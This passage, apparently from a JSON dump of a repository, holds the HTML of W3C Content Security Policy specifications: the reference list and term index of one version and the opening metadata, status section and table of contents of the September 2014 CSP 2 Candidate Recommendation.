href=http://www.w3.org/TR/2011/WD-cssom-20110712/>CSSOM</a>. 12 July 2011. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2011/WD-cssom-20110712/>http://www.w3.org/TR/2011/WD-cssom-20110712/</a></dd>\n<dt id=biblio-ecma-262 title=ECMA-262><a class=self-link href=#biblio-ecma-262></a>[ECMA-262]<dd>???. <a href=http://www.ecma-international.org/publications/standards/Ecma-262.htm>ECMAScript Language Specification, Third Edition</a>. December 1999. URL: <a href=http://www.ecma-international.org/publications/standards/Ecma-262.htm>http://www.ecma-international.org/publications/standards/Ecma-262.htm</a></dd>\n<dt id=biblio-eventsource title=EVENTSOURCE><a class=self-link href=#biblio-eventsource></a>[EVENTSOURCE]<dd>Ian Hickson. <a href=http://www.w3.org/TR/2012/CR-eventsource-20121211/>Server-Sent Events</a>. 11 December 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-eventsource-20121211/>http://www.w3.org/TR/2012/CR-eventsource-20121211/</a></dd>\n<dt id=biblio-html-imports title=HTML-IMPORTS><a class=self-link href=#biblio-html-imports></a>[HTML-IMPORTS]<dd>Dmitri Glazkov; Hajime Morrita. <a href=http://www.w3.org/TR/html-imports/>HTML Imports</a>. WD. URL: <a href=http://www.w3.org/TR/html-imports/>http://www.w3.org/TR/html-imports/</a></dd>\n<dt id=biblio-html5 title=HTML5><a class=self-link href=#biblio-html5></a>[HTML5]<dd>Robin Berjon; et al. <a href=http://www.w3.org/TR/2013/CR-html5-20130806/>HTML5</a>. 6 August 2013. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2013/CR-html5-20130806/>http://www.w3.org/TR/2013/CR-html5-20130806/</a></dd>\n<dt id=biblio-rfc2119 title=RFC2119><a class=self-link href=#biblio-rfc2119></a>[RFC2119]<dd>S. Bradner. <a href=http://www.ietf.org/rfc/rfc2119.txt>Key words for use in RFCs to Indicate Requirement Levels</a>. URL: <a href=http://www.ietf.org/rfc/rfc2119.txt>http://www.ietf.org/rfc/rfc2119.txt</a></dd>\n<dt id=biblio-rfc3492 title=RFC3492><a class=self-link href=#biblio-rfc3492></a>[RFC3492]<dd>Adam M. Costello. <a href=http://www.ietf.org/rfc/rfc3492.txt>Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. REC. URL: <a href=http://www.ietf.org/rfc/rfc3492.txt>http://www.ietf.org/rfc/rfc3492.txt</a></dd>\n<dt id=biblio-rfc3864 title=RFC3864><a class=self-link href=#biblio-rfc3864></a>[RFC3864]<dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=http://www.ietf.org/rfc/rfc3864.txt>Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc3864.txt>http://www.ietf.org/rfc/rfc3864.txt</a></dd>\n<dt id=biblio-rfc4627 title=RFC4627><a class=self-link href=#biblio-rfc4627></a>[RFC4627]<dd>Douglas Crockford. <a href=http://www.ietf.org/rfc/rfc4627.txt>The 'application/json' Media Type for JavaScript Object Notation (JSON)</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc4627.txt>http://www.ietf.org/rfc/rfc4627.txt</a></dd>\n<dt id=biblio-rfc6454 title=RFC6454><a class=self-link href=#biblio-rfc6454></a>[RFC6454]<dd>Adam Barth. <a href=http://www.ietf.org/rfc/rfc6454.txt>The Web Origin Concept</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc6454.txt>http://www.ietf.org/rfc/rfc6454.txt</a></dd>\n<dt id=biblio-rfc7034 title=RFC7034><a class=self-link href=#biblio-rfc7034></a>[RFC7034]<dd>David Ross; Tobias Gondrom. <a href=http://www.ietf.org/rfc/rfc7034.txt>HTTP Header Field X-Frame-Options</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc7034.txt>http://www.ietf.org/rfc/rfc7034.txt</a></dd>\n<dt id=biblio-rfc7230 title=RFC7230><a class=self-link href=#biblio-rfc7230></a>[RFC7230]<dd>Roy T. Fielding; Julian F. Reschke. <a href=http://www.ietf.org/rfc/rfc7230.txt>HTTP/1.1 Message Syntax and Routing</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc7230.txt>http://www.ietf.org/rfc/rfc7230.txt</a></dd>\n<dt id=biblio-rfc7231 title=RFC7231><a class=self-link href=#biblio-rfc7231></a>[RFC7231]<dd>Roy T. Fielding; Julian F. Reschke. <a href=http://www.ietf.org/rfc/rfc7231.txt>HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc7231.txt>http://www.ietf.org/rfc/rfc7231.txt</a></dd>\n<dt id=biblio-uri title=URI><a class=self-link href=#biblio-uri></a>[URI]<dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=http://www.ietf.org/rfc/rfc3986.txt>Uniform Resource Identifiers (URI): generic syntax</a>. January 2005. URL: <a href=http://www.ietf.org/rfc/rfc3986.txt>http://www.ietf.org/rfc/rfc3986.txt</a></dd>\n<dt id=biblio-webidl title=WEBIDL><a class=self-link href=#biblio-webidl></a>[WEBIDL]<dd>Cameron McCormack. <a href=http://www.w3.org/TR/2012/CR-WebIDL-20120419/>Web IDL</a>. 19 April 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-WebIDL-20120419/>http://www.w3.org/TR/2012/CR-WebIDL-20120419/</a></dd>\n<dt id=biblio-websockets title=WEBSOCKETS><a class=self-link href=#biblio-websockets></a>[WEBSOCKETS]<dd>Ian Hickson. <a href=http://www.w3.org/TR/2012/CR-websockets-20120920/>The WebSocket API</a>. 20 September 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-websockets-20120920/>http://www.w3.org/TR/2012/CR-websockets-20120920/</a></dd>\n<dt id=biblio-workers title=WORKERS><a class=self-link href=#biblio-workers></a>[WORKERS]<dd>Ian Hickson. <a href=http://www.w3.org/TR/2012/CR-workers-20120501/>Web Workers</a>. 1 May 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-workers-20120501/>http://www.w3.org/TR/2012/CR-workers-20120501/</a></dd>\n<dt id=biblio-xml11 title=XML11><a class=self-link href=#biblio-xml11></a>[XML11]<dd>Eve Maler; et al. <a href=http://www.w3.org/TR/2006/REC-xml11-20060816>Extensible Markup Language (XML) 1.1 (Second Edition)</a>. 16 August 2006. W3C Recommendation. URL: <a href=http://www.w3.org/TR/2006/REC-xml11-20060816>http://www.w3.org/TR/2006/REC-xml11-20060816</a></dd>\n<dt id=biblio-xmlhttprequest title=XMLHTTPREQUEST><a class=self-link href=#biblio-xmlhttprequest></a>[XMLHTTPREQUEST]<dd>Julian Aubourg; 송정기 (Jungkee Song); Hallvord R. M. Steen. <a href=http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/>XMLHttpRequest</a>. 6 December 2012. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/>http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/</a></dd>\n<dt id=biblio-xslt title=XSLT><a class=self-link href=#biblio-xslt></a>[XSLT]<dd>James Clark. <a href=http://www.w3.org/TR/1999/REC-xslt-19991116>XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. W3C Recommendation. URL: <a href=http://www.w3.org/TR/1999/REC-xslt-19991116>http://www.w3.org/TR/1999/REC-xslt-19991116</a></dd>\n</dl></div>\n\n<h3 class=\"no-num no-ref heading settled heading\" id=informative><span class=content>\nInformative References</span><a class=self-link href=#informative></a></h3>\n<div data-fill-with=informative-references><dl>\n<dt id=biblio-rfc6797 title=RFC6797><a class=self-link href=#biblio-rfc6797></a>[RFC6797]<dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=http://www.ietf.org/rfc/rfc6797.txt>HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc6797.txt>http://www.ietf.org/rfc/rfc6797.txt</a></dd>\n<dt id=biblio-uiredress title=UIREDRESS><a class=self-link href=#biblio-uiredress></a>[UIREDRESS]<dd>Giorgio Maone; et al. <a href=http://www.w3.org/TR/UISecurity/>User Interface Security Directives for Content Security Policy</a>. WD. URL: <a href=http://www.w3.org/TR/UISecurity/>http://www.w3.org/TR/UISecurity/</a></dd>\n</dl></div>\n\n<h2 class=\"no-num no-ref heading settled heading\" id=index><span class=content>\nIndex</span><a class=self-link href=#index></a></h2>\n<div data-fill-with=index><ul class=indexlist>\n<li>allowed base URIs, <a href=#allowed-base-uris title=\"section 7.1\">7.1</a>\n<li>allowed child sources, <a href=#allowed-child-sources title=\"section 7.2\">7.2</a>\n<li>allowed connection targets, <a href=#allowed-connection-targets title=\"section 7.3\">7.3</a>\n<li>allowed font sources, <a href=#allowed-font-sources title=\"section 7.5\">7.5</a>\n<li>allowed form actions, <a href=#allowed-form-actions title=\"section 7.6\">7.6</a>\n<li>allowed frame ancestors, <a href=#allowed-frame-ancestors title=\"section 7.7\">7.7</a>\n<li>allowed frame sources, <a href=#allowed-frame-sources title=\"section 7.8\">7.8</a>\n<li>allowed image sources, <a href=#allowed-image-sources title=\"section 7.9\">7.9</a>\n<li>allowed media sources, <a href=#allowed-media-sources title=\"section 7.10\">7.10</a>\n<li>allowed object sources, <a href=#allowed-object-sources title=\"section 7.11\">7.11</a>\n<li>allowed plugin media types, <a href=#allowed-plugin-media-types title=\"section 7.12\">7.12</a>\n<li>allowed script sources, <a href=#allowed-script-sources title=\"section 7.17\">7.17</a>\n<li>allowed style sources, <a href=#allowed-style-sources title=\"section 7.18\">7.18</a>\n<li>base64-value, <a href=#base64-value title=\"section 4.2\">4.2</a>\n<li>base-uri, <a href=#base-uri title=\"section 7.1\">7.1</a>\n<li>blockedURI<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-blockeduri title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-blockeduri0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-blockeduri title=\"section 6.2\">6.2</a>\n</ul><li>callable, <a href=#callable title=\"section 2\">2</a>\n<li>callers, <a href=#callers title=\"section 2\">2</a>\n<li>CH-CSP, <a href=#ch-csp title=\"section 3.4\">3.4</a>\n<li>child-src, <a href=#child-src title=\"section 7.2\">7.2</a>\n<li>columnNumber<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-columnnumber title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-columnnumber0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-columnnumber title=\"section 6.2\">6.2</a>\n</ul><li>conformant server, <a href=#conformant-server title=\"section Unnumbered section\">Unnumbered section</a>\n<li>conformant user agent, <a href=#conformant-user-agent title=\"section Unnumbered section\">Unnumbered section</a>\n<li>connect-src, <a href=#connect-src title=\"section 7.3\">7.3</a>\n<li>Content-Security-Policy, <a href=#content-security-policy title=\"section 3.1\">3.1</a>\n<li>Content-Security-Policy-Report-Only, <a href=#content-security-policy-report-only title=\"section 3.2\">3.2</a>\n<li>Content Security Policy task\n          source, <a href=#content-security-policy-task-source title=\"section 4.4\">4.4</a>\n<li>default sources, <a href=#default-sources title=\"section 7.4\">7.4</a>\n<li>default-src, <a href=#default-src title=\"section 7.4\">7.4</a>\n<li>digest of element’s content, <a href=#digest-of-elements-content title=\"section 4.2.5\">4.2.5</a>\n<li>directive, <a href=#security-policy-directive title=\"section 2\">2</a>\n<li>directive name, <a href=#directive-name0 title=\"section 2\">2</a>\n<li>directive-name, <a href=#directive-name title=\"section 4.1\">4.1</a>\n<li>directive-token, <a href=#directive-token title=\"section 4.1\">4.1</a>\n<li>directive-value, <a href=#directive-value title=\"section 4.1\">4.1</a>\n<li>directive value, <a href=#directive-value0 title=\"section 2\">2</a>\n<li>documentURI<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-documenturi title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-documenturi0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-documenturi title=\"section 6.2\">6.2</a>\n</ul><li>effectiveDirective<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-effectivedirective title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-effectivedirective0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-effectivedirective title=\"section 6.2\">6.2</a>\n</ul><li>element’s content, <a href=#elements-content title=\"section 4.2.5\">4.2.5</a>\n<li>enforce, <a href=#enforce title=\"section 5\">5</a>\n<li>eventInitDict, <a href=#dom-securitypolicyviolationeventsecuritypolicyviolationevent-eventinitdict title=\"section 6.1\">6.1</a>\n<li>fire a violation event, <a href=#fire-a-violation-event title=\"section 6.3\">6.3</a>\n<li>font-src, <a href=#font-src title=\"section 7.5\">7.5</a>\n<li>form-action, <a href=#form-action title=\"section 7.6\">7.6</a>\n<li>frame-ancestors, <a href=#frame-ancestors title=\"section 7.7\">7.7</a>\n<li>frame-src, <a href=#frame-src title=\"section 7.8\">7.8</a>\n<li>generate a violation report object, <a href=#generate-a-violation-report-object title=\"section 4.4\">4.4</a>\n<li>generating a violation report object, <a href=#generate-a-violation-report-object title=\"section 4.4\">4.4</a>\n<li>globally unique identifier, <a href=#globally-unique-identifier title=\"section 2\">2</a>\n<li>hash-algo, <a href=#hash-algo title=\"section 4.2\">4.2</a>\n<li>hash-source, <a href=#hash-source title=\"section 4.2\">4.2</a>\n<li>hash-value, <a href=#hash-value title=\"section 4.2\">4.2</a>\n<li>hint-value, <a href=#hint-value title=\"section 3.4\">3.4</a>\n<li>host-char, <a href=#host-char title=\"section 4.2\">4.2</a>\n<li>host-part, <a href=#host-part title=\"section 4.2\">4.2</a>\n<li>host-source, <a href=#host-source title=\"section 4.2\">4.2</a>\n<li>HTTP 200 response, <a href=#http-200-response title=\"section 2\">2</a>\n<li>img-src, <a href=#img-src title=\"section 7.9\">7.9</a>\n<li>JSON object, <a href=#json-object title=\"section 2\">2</a>\n<li>JSON stringification, <a href=#json-stringification title=\"section 2\">2</a>\n<li>keyword-source, <a href=#keyword-source title=\"section 4.2\">4.2</a>\n<li>lineNumber<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-linenumber title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-linenumber0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-linenumber title=\"section 6.2\">6.2</a>\n</ul><li>match a media type list, <a href=#match-a-media-type-list title=\"section 4.3.2\">4.3.2</a>\n<li>match a source expression, <a href=#match-a-source-expression title=\"section 4.2.2\">4.2.2</a>\n<li>match a source list, <a href=#match-a-source-list title=\"section 4.2.2\">4.2.2</a>\n<li>media-src, <a href=#media-src title=\"section 7.10\">7.10</a>\n<li>media type, <a href=#media-type0 title=\"section 4.3\">4.3</a>\n<li>media-type, <a href=#media-type title=\"section 4.3\">4.3</a>\n<li>media type list, <a href=#media-type-list0 title=\"section 4.3\">4.3</a>\n<li>media-type-list, <a href=#media-type-list1 title=\"section 4.3\">4.3</a>\n<li>monitor, <a href=#monitor title=\"section 5\">5</a>\n<li>nonce<ul><li>(element-attr), <a href=#element-attrdef-nonce title=\"section 4.2.3\">4.2.3</a>\n<li>attribute for HTMLScriptElement, <a href=#dom-htmlscriptelement-nonce title=\"section 4.2.3\">4.2.3</a>\n<li>attribute for HTMLStyleElement, <a href=#dom-htmlstyleelement-nonce title=\"section 4.2.3\">4.2.3</a>\n</ul><li>nonce-source, <a href=#nonce-source title=\"section 4.2\">4.2</a>\n<li>nonce-value, <a href=#nonce-value title=\"section 4.2\">4.2</a>\n<li>object-src, <a href=#object-src title=\"section 7.11\">7.11</a>\n<li>origin, <a href=#origin title=\"section 2\">2</a>\n<li>originalPolicy<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-originalpolicy title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-originalpolicy0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-originalpolicy title=\"section 6.2\">6.2</a>\n</ul><li>parse a media type list, <a href=#parse-a-media-type-list title=\"section 4.3.1\">4.3.1</a>\n<li>parse a source list, <a href=#parse-a-source-list title=\"section 4.2.1\">4.2.1</a>\n<li>parse the policy, <a href=#parse-the-policy title=\"section 4.1.1\">4.1.1</a>\n<li>path-part, <a href=#path-part title=\"section 4.2\">4.2</a>\n<li>plugin-types, <a href=#plugin-types title=\"section 7.12\">7.12</a>\n<li>policy, <a href=#security-policy title=\"section 2\">2</a>\n<li>policy-token, <a href=#policy-token title=\"section 4.1\">4.1</a>\n<li>port-part, <a href=#port-part title=\"section 4.2\">4.2</a>\n<li>protected resource, <a href=#protected-resource title=\"section 2\">2</a>\n<li>referrer<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-referrer title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-referrer0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-referrer title=\"section 6.2\">6.2</a>\n<li>definition of, <a href=#referrer title=\"section 7.13\">7.13</a>\n</ul><li>referrer policy, <a href=#referrer-policy title=\"section 7.13\">7.13</a>\n<li>reflected-xss, <a href=#reflected-xss title=\"section 7.14\">7.14</a>\n<li>report a violation, <a href=#report-a-violation title=\"section 4.4\">4.4</a>\n<li>report-uri, <a href=#report-uri title=\"section 7.15\">7.15</a>\n<li>resource representation, <a href=#resource-representation title=\"section 2\">2</a>\n<li>runs a worker, <a href=#runs-a-worker title=\"section 2\">2</a>\n<li>sandbox, <a href=#sandbox title=\"section 7.16\">7.16</a>\n<li>sandbox-token, <a href=#sandbox-token title=\"section 7.16\">7.16</a>\n<li>scheme-part, <a href=#scheme-part title=\"section 4.2\">4.2</a>\n<li>scheme-source, <a href=#scheme-source title=\"section 4.2\">4.2</a>\n<li>script-src, <a href=#script-src title=\"section 7.17\">7.17</a>\n<li>security policy, <a href=#security-policy title=\"section 2\">2</a>\n<li>security policy directive, <a href=#security-policy-directive title=\"section 2\">2</a>\n<li>SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent title=\"section 6.1\">6.1</a>\n<li>SecurityPolicyViolationEventInit, <a href=#dictdef-securitypolicyviolationeventinit title=\"section 6.2\">6.2</a>\n<li>send violation reports, <a href=#send-violation-reports title=\"section 4.4\">4.4</a>\n<li>set of report URIs, <a href=#set-of-report-uris title=\"section 7.15\">7.15</a>\n<li>SHA-256, <a href=#sha-256 title=\"section 2\">2</a>\n<li>SHA-384, <a href=#sha-384 title=\"section 2\">2</a>\n<li>SHA-512, <a href=#sha-512 title=\"section 2\">2</a>\n<li>source-expression, <a href=#source-expression title=\"section 4.2\">4.2</a>\n<li>source expression, <a href=#source-expression0 title=\"section 4.2\">4.2</a>\n<li>source-file, <a href=#source-file title=\"section 4.4\">4.4</a>\n<li>sourceFile<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-sourcefile title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-sourcefile0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-sourcefile title=\"section 6.2\">6.2</a>\n</ul><li>source-list, <a href=#source-list title=\"section 4.2\">4.2</a>\n<li>source\n    list, <a href=#source-list0 title=\"section 4.2\">4.2</a>\n<li>stripped for reporting, <a href=#strip-uri-for-reporting title=\"section 4.4\">4.4</a>\n<li>strip uri for reporting, <a href=#strip-uri-for-reporting title=\"section 4.4\">4.4</a>\n<li>style-src, <a href=#style-src title=\"section 7.18\">7.18</a>\n<li>type, <a href=#dom-securitypolicyviolationeventsecuritypolicyviolationevent-type title=\"section 6.1\">6.1</a>\n<li>URI, <a href=#uri title=\"section 2\">2</a>\n<li>uri-reference, <a href=#uri-reference title=\"section 7.15\">7.15</a>\n<li>valid hash, <a href=#valid-hash title=\"section 4.2.5\">4.2.5</a>\n<li>valid nonce, <a href=#valid-nonce title=\"section 4.2.4\">4.2.4</a>\n<li>violatedDirective<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-violateddirective title=\"section 6.1\">6.1</a>\n<li>dict-member for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-violateddirective0 title=\"section 6.2\">6.2</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-violateddirective title=\"section 6.2\">6.2</a>\n</ul></ul></div>\n\n\n\n"
  },
  {
    "path": "published/2014-09-03-CSP-2-CR.html",
    "content": "<!DOCTYPE html><html lang=en><head>\n  <meta content=\"text/html; charset=utf-8\" http-equiv=Content-Type>\n  <title>Content Security Policy</title>\n  <link href=default.css rel=stylesheet type=text/css>\n  <link href=https://www.w3.org/StyleSheets/TR/W3C-CR rel=stylesheet type=text/css>\n<style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n\n    </head>\n<body class=h-entry>\n<div class=head>\n  <p data-fill-with=logo><a class=logo href=http://www.w3.org/>\n    <img alt=W3C height=48 src=https://www.w3.org/Icons/w3c_home width=72>\n</a>\n</p>\n  <h1 class=\"p-name no-ref\" id=title>Content Security Policy</h1>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=subtitle><span class=content>W3C Candidate Recommendation,\n    <span class=dt-updated><span class=value-title title=20140903>3 September 2014</span></span></span></h2>\n  <div data-fill-with=spec-metadata><dl>\n\t<dt>This version:\n\t<dd><a class=u-url href=http://www.w3.org/TR/2014/CR-CSP2-2-20140903/>http://www.w3.org/TR/2014/CR-CSP2-2-20140903/</a>\n\t<dt>Latest version:\n\t<dd><a href=http://www.w3c.org/TR/CSP2/>http://www.w3c.org/TR/CSP2/</a>\n\t<dt>Editor’s Draft:\n\t<dd><a href=https://w3c.github.io/webappsec/specs/content-security-policy/>https://w3c.github.io/webappsec/specs/content-security-policy/</a>\n\t<dt>Previous Versions:\n\t<dd><dd><a href=http://www.w3.org/TR/2014/WD-CSP2-20140703/ rel=previous>http://www.w3.org/TR/2014/WD-CSP2-20140703/</a>\n\t<dd><dd><a href=http://www.w3.org/TR/2014/WD-CSP11-20140211/ rel=previous>http://www.w3.org/TR/2014/WD-CSP11-20140211/</a>\n\t<dd><dd><a href=http://www.w3.org/TR/2012/CR-CSP-20121115/ rel=previous>http://www.w3.org/TR/2012/CR-CSP-20121115/</a>\n\t<dt>Feedback:\n\t<dd><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP2%5D%20feedback\">public-webappsec@w3.org</a>\n            with subject line\n            “<kbd>[CSP2] <var>… message topic …</var></kbd>”(<a href=http://lists.w3.org/Archives/Public/public-webappsec/ rel=discussion>archives</a>)\n\t<dt>Editors:\n\t<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:mkwst@google.com>Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n\t<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:w3c@adambarth.com>Adam Barth</a> (<span class=\"p-org org\">Google Inc.</span>)\n\t<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:dveditz@mozilla.com>Dan Veditz</a> (<span class=\"p-org org\">Mozilla Corporation</span>)\n\t<dt>Former Editors:\n\t<dd><dd class=\"p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=mailto:brandon@hackmill.com>Brandon Sterne</a> (<span class=\"p-org org\">formerly of Mozilla Corporation</span>)\n</dl>\n</div>\n  <div data-fill-with=warning></div>\n  <p class=copyright data-fill-with=copyright><a href=http://www.w3.org/Consortium/Legal/ipr-notice#Copyright>Copyright</a> © 2014\n  <a href=http://www.w3.org/><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup>\n  (<a href=http://www.csail.mit.edu/><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>,\n  <a href=http://www.ercim.eu/><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>,\n  <a href=http://www.keio.ac.jp/>Keio</a>, <a href=http://ev.buaa.edu.cn/>Beihang</a>),\n\n  All Rights Reserved.\n\n  <abbr title=\"World Wide Web Consortium\">W3C</abbr> <a href=http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer>liability</a>,\n  <a href=http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks>trademark</a> and\n\n  <a href=http://www.w3.org/Consortium/Legal/copyright-documents>document use</a>\n  rules apply.\n</p>\n  <hr title=\"Separator for header\">\n</div>\n\n<h2 class=\"no-num no-toc no-ref heading settled\" id=abstract><span class=content>Abstract</span></h2>\n<div class=p-summary data-fill-with=abstract><p>This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.</p>\n\n</div>\n\n<h2 class=\"no-num no-toc no-ref heading settled\" id=status><span class=content>Status of this document</span></h2>\n<div data-fill-with=status><p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=http://www.w3.org/TR/>W3C technical reports\n  index at http://www.w3.org/TR/.</a></em>\n\n<p>\n  This document was published by the\n  <a href=http://www.w3.org/2011/webappsec/>Web Application Security Working Group</a>\n  as a Candidate Recommendation. This document is intended to become a W3C Recommendation.\n\n<p>\n\tThe (<a href=http://lists.w3.org/Archives/Public/public-webappsec/>archived</a>) public mailing list\n\t<a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP2%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n\t(see <a href=http://www.w3.org/Mail/Request>instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “CSP2” in the subject,\n\tpreferably like this:\n\t“[CSP2] <em>…summary of comment…</em>”\n  \n<p>\n  Publication as a Candidate Recommendation does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n<p>\n  The entrance criteria for this document to enter the Proposed Recommendation stage\n  is to have a minimum of two independent and interoperable user agents that\n  implementation all the features of this specification, which will be determined by\n  passing the user agent tests defined in the test suite developed by the Working\n  Group.\n\n<p>\n\tThis document was produced by a group operating under\n\tthe <a href=http://www.w3.org/Consortium/Patent-Policy-20040205/>5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=http://www.w3.org/2004/01/pp-impl/49309/status rel=disclosure>public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential>Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure>section 6 of the W3C Patent Policy</a>.\n\n<p id=\"w3c_process_revision\">\n  This document is governed by the\n  <a href=\"http://www.w3.org/2014/Process-20140801/\">1 August 2014 W3C Process Document</a>.\n\n</div>\n<div data-fill-with=at-risk><p>The following features are at-risk, and may be dropped during the CR period:\n<ul><li><a data-section=\"\" href=#csp-request-header>§3.4 The <code>CSP</code> HTTP Request Header</a><li><a data-section=\"\" href=#directive-child-src>§7.2 <code>child-src</code></a></ul></div>\n\n<h2 class=\"no-num no-toc no-ref heading settled\" id=contents><span class=content>Table of Contents</span></h2>\n<div data-fill-with=table-of-contents><ul class=toc>\n\t<li><a href=#intro><span class=secno>1</span> Introduction</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#changes><span class=secno>1.1</span> Changes from 1.0</a></ul>\n\t<li><a href=#key-concepts><span class=secno>2</span> Key Concepts and Terminology</a>\n\t<li><a href=#policy-delivery><span class=secno>3</span> Policy Delivery</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#content-security-policy-header-field><span class=secno>3.1</span>        <code>Content-Security-Policy</code> Header Field     </a>\n\t\t<li><a href=#content-security-policy-report-only-header-field><span class=secno>3.2</span>        <code>Content-Security-Policy-Report-Only</code> Header Field     